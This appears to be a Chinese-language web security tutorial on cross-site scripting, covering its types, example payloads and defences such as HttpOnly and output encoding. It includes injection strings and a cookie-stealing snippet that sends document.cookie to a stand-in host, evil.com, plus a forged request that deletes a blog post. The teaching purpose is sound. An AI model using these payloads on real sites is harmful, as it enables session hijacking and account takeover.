Web安全之跨站脚本攻击(XSS)
XSS 简介
跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。
XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过“HTML注入”篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式。
XSS 危害
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击
XSS 分类
反射型 XSS
反射型 XSS 也叫做“非持久型XSS”(Non-per-sistent XSS),它是最常见的类型的 XSS。
反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。
简单例子
假设一个页面把用户输入的参数直接输出到页面上:
// test.php
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
正常情况
用户向 param 提交的数据会展示到页面中,比如提交:
http://www.a.com/test.php?param=这是一个测试!
这样在页面就会显示 这是一个测试!
。
非正常情况
但是如果提交一段HTML代码:
http://www.a.com/test.php?param=<script>alert(/xss/)</script>
此时页面源码以及嵌入 <script>alert(/xss/)</script>
,那么 alert(/xss/)
将会在当前页面执行,而这显然不是开发者所希望看到的,对于黑客来说这样就完成了一次攻击了。
存储型 XSS
存储型 XSS 通常也叫做“持久型XSS”(Persistent XSS),因为从效果上来说,它存在的时间是比较长的。
存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具有很强的稳定性。
简单例子
假设在文章下面的评论区有这样的一个评论表单提交代码:
<input type="text" name="content" value="这里是用户填写的数据">
正常情况
用户提交正常的评论内容(如 “这是一篇好文章啊!”),然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库将评论内容取出并显示。
非正常情况
黑客提交 <script>alert(/xss/)</script>
这样的评论内容,然后该评论内容将存储到数据库中。等其他用户查看该文章时,从数据库中取出并显示,此时浏览器将执行这段攻击代码。
DOM Based XSS
实际上,这种类型的 XSS 并非按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型 XSS。单独划分出来,是因为 DOM Based XSS 的形成原因比较特别,发现它的安全专家专门提出了这种类型的 XSS。出于历史原因,也就把它单独作为一个分类了。
DOM Based XSS 通过修改页面的 DOM 节点形成的 XSS。
简单例子
<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
正常情况
点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容。
非正常情况
在文本框输入 ' onclick=alert(/xss/) //
,这样生成的超链接为 <a href='' onlick=alert(/xss/)//' >testLink</a>
,原理就是用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。这样点击新生成的超链接,就会执行攻击代码了。
还有另外一种攻击方式,将 <a>
标签闭合掉,然后插入一个新的 HTML 标签,如下示例:
在文本框输入 '><img src=# onerror=alert(/xss2/) /><'
,这样生成的超链接变为 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>
,图片加载失败之后就会执行攻击代码了。
XSS Payload
前文谈到了 XSS 的几种分类。接下来,就从攻击的角度来体验一下 XSS 的威力。
XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。
XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本),所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。
通过 XSS Payload 可以实现如下攻击:
Cookie 劫持
在当前的 Web 中,Cookie 一般是用户登录的凭证,浏览器发起的所有请求都会自动带上 Cookie。如果 Cookie 没有绑定客户端信息,当攻击者窃取了 Cookie 后,就可以不用密码登录进用户的账户。
攻击代码:
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload。
然后使用窃取到的 Cookie 通过自定义 Cookie 的方式访问网站,达到登录目标用户的账户的目的。
构造 GET 与 POST 请求
一个网站通过 HTTP 协议中的 GET 或 POST 请求即可完成所有操作,因此可通过让浏览器对目标网站发起这两种请求来达到攻击的目的。
假设某个网站有这样的一个删除文章的请求:
http://www.test.com/blog/delete?id=156713012
对于攻击者来说,只需要知道文章的 id,就能够通过这个请求删除这篇文章了。
攻击代码:
var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img);
攻击者只需要让博客的作者执行这段 JavaScript 代码(XSSPayload),就会把这篇文章删除。在具体攻击中,攻击者将通过 XSS 诱使用户执行 XSS Payload。
XSS 钓鱼
如果通过构造 POST 请求(表单提交)进行攻击时,在提交表单时要求用户输入验证码,那么一般的 XSS Payload 都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。
对于验证码,XSS Payload 可以通过读取页面内容,将验证码的图片 URL 发送到远程服务器上来实施——黑客可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload,从而绕过验证码。
修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将 XSS 与“钓鱼”相结合。实现思路很简单:利用 JavaScript 在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。
识别用户浏览器
读取浏览器的 UserAgent 对象。
由于浏览器之间的实现存在差异——不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微差别。所以通过分辨这些浏览器之间的差异,就能准确地判断出浏览器版本,而几乎不会误报。这种方法比读取UserAgent要准确得多。
识别用户安装的软件
知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。
在IE中,可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。
攻击代码:
try {
var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
// 异常了,不存在该控件
}
这段代码检测迅雷的一个控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果用户安装了迅雷软件,则默认也会安装此控件。因此通过判断此控件,即可推测用户安装了迅雷软件的可能性。
CSS History Hack
我们再看看另外一个有趣的 XSS Payload——通过 CSS,来发现一个用户曾经访问过的网站。其原理是利用 style 的 visited 属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。
获取用户的真实 IP 地址
通过 XSS Payload 还有办法获取一些客户端的本地IP地址。
很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?
JavaScript 本身并没有提供获取本地IP地址的能力,有没有其他办法?一般来说,XSS 攻击需要借助第三方软件来完成。比如,客户端安装了 Java 环境(JRE),那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。
XSS 防御
HttpOnly
浏览器禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。因此 HttpOnly 可以对抗 XSS 后的 Cookie 劫持攻击。
输入检查
常见的Web漏洞如 XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。
又如注册时填写的电话、邮件、生日等信息,都有一定的格式规范。比如手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码可能是13x、15x开头的,否则即为非法。
这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。
输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。
输出检查
既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?
一般来说,除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。
安全编码函数
编码分为很多种,针对 HTML 代码的编码方式是 HtmlEn-code。
HtmlEncode 并非专用名词,它只是一种函数实现。它的作用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1。
为了对抗 XSS,在 HtmlEncode 中要求至少转换以下字符:
& --> &
< --> <
>--> >
" --> "
' --> ' '
不推荐
/ --> /
包含反斜线是因为它可能会闭合一些 HTML entity
JavaScript 的编码方式可以使用 JavascriptEncode。JavascriptEncode 与 HtmlEncode 的编码方法不同,它需要使用“\”对特殊字符进行转义。在对抗 XSS 时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:
var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';
如果 escapeJavascript() 函数只转义了几个危险字符,比如 ‘、”、<、>、\、&、#
等,那么上面的两行代码输出后可能会变成:
var x = 1;alert(2); // 执行了额外的代码
var y = "1;alert(2)"; // 安全
所以要求使用 JavascriptEncode 的变量输出一定要在引号内。
可是很多开发者没有这个习惯怎么办?这就只能使用一个更加严格的 JavascriptEncode 函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码。在本例中:
var x = 1;alert(2); 变为 var x = 1\x3balert\x282\x29; // 保证是安全的
参考
《白帽子讲Web安全》
Web安全之跨站脚本攻击(XSS)的更多相关文章
- 跨站脚本攻击XSS(二)——session劫持
转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小 ...
- 记录一次网站漏洞修复过程(三):第二轮处理(拦截SQL注入、跨站脚本攻击XSS)
在程序编写的时候采用参数化的SQL语句可以有效的防止SQL注入,但是当程序一旦成型,再去修改大量的数据库执行语句并不是太现实,对网页表单上输入进行校验是易于实现的方法.在webForm 页面中开启校验 ...
- [Web安全之实战] 跨站脚本攻击XSS
Writer:BYSocket(泥沙砖瓦浆木匠) 微博:BYSocket 豆瓣:BYSocket Reprint it anywhere u want. 文章Points: 1. 认识XSS 2. ...
- 跨站脚本攻击XSS
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到 ...
- java防范跨站脚本攻击(XSS)
网络中心提示网站有数目众多的跨站脚本攻击(XSS)漏洞,经过查看代码,认为是JSP中绑定变量是未经处理直接写入的,而且整个项目中这样的做法太多,因为是多年前的,不好一个个更改,参照网上资料,通过加fi ...
- 渗透之路基础 -- 跨站脚本攻击XSS
目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...
- 跨站脚本攻击xss学习
0.认识跨站脚本 举一个跨站脚本的简单例子. 假设一个页面将用户输入的参数直接显示到页面之中.(比如有如下代码) 在实际的浏览器中,在param中提交的参数正常会展示到页面之中.比如输入下面的URL: ...
- 网站安全系列:跨站脚本攻击XSS
本篇博文主要从概念和应用上介绍XSS,主要内容来源于<白帽子讲web安全> XSS核心本质 XSS实际上是一种HTML注入,用户输入的数据被当成HTML的一部分来执行.防御方法核心是输入检 ...
- 网络安全-跨站脚本攻击XSS(Cross-Site Scripting)
一.XSS攻击简介 作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的. 在XSS攻击中,一般有三个角色参与:攻击者.目标服务器.受害者 ...
随机推荐
- BZOJ 3167: [Heoi2013]Sao
3167: [Heoi2013]Sao Time Limit: 30 Sec Memory Limit: 256 MBSubmit: 96 Solved: 36[Submit][Status][D ...
- 【BZOJ1414】[ZJOI2009]对称的正方形(哈希)
[BZOJ1414][ZJOI2009]对称的正方形(哈希) 题面 BZOJ 洛谷 题解 深思熟虑一波,发现一个矩阵如果左右对称的话,那么它每行都是一个回文串,同理,如果上下对称的话,那么每列都是一个 ...
- [八省联考2018]林克卡特树lct——WQS二分
[八省联考2018]林克卡特树lct 一看这种题就不是lct... 除了直径好拿分,别的都难做. 所以必须转化 突破口在于:连“0”边 对于k=0,我们求直径 k=1,对于(p,q)一定是从p出发,走 ...
- 【CF580C】Kefa and Park
题目大意:给定一棵 N 个节点的有根树(其中根节点始终为 1 号节点),点有点权,点权只有 1 和 0 两种,求从根节点到叶子节点的路径中,有多少条路径满足:路径上最大连续点权为 1 的节点个数不超过 ...
- webpack插件自动加css3前缀
想要webpack帮忙自动加上“-webkit-”之类的css前缀,我们需要用到postcss-loader和它的插件autoprefixer 1.安装 npm i postcss-loader au ...
- 20181105 Timer(慕课网)
定时任务调度 基于给定的时间点,给定的时间间隔或者给定的执行次数自动执行的任务 Java中的定时调度工具 Timer JDK提供,不许引入 功能简单,能用Timer尽量用 Quartz 需要引入 功能 ...
- 函数和常用模块【day04】: 总结(十二)
- ideau 2018.1.2安装和使用
此博文的各安装软件.方法技巧仅供研究使用,请勿用于商业活动.下载.操作后请于24小时内删除.对于使用过程中出现的一切问题.责任.纠纷,概不负责. 1.下载ideau-2018.1.2,点击下载,提取码 ...
- 解决提交按钮在IE浏览器正常在360浏览器不可用
用meta标签指定使用哪个浏览器内核解析网页.在页面头部head标签里加上下面的代码即可:<meta name="renderer" content="webkit ...
- linux常用端口查询
0 | 无效端口,通常用于分析操作系统1 | 传输控制协议端口服务多路开关选择器2 | 管理实用程序3 | 压缩进程5 | 远程作业登录7 | 回显9 | 丢弃11 | 在线用户13 | 时间17 | ...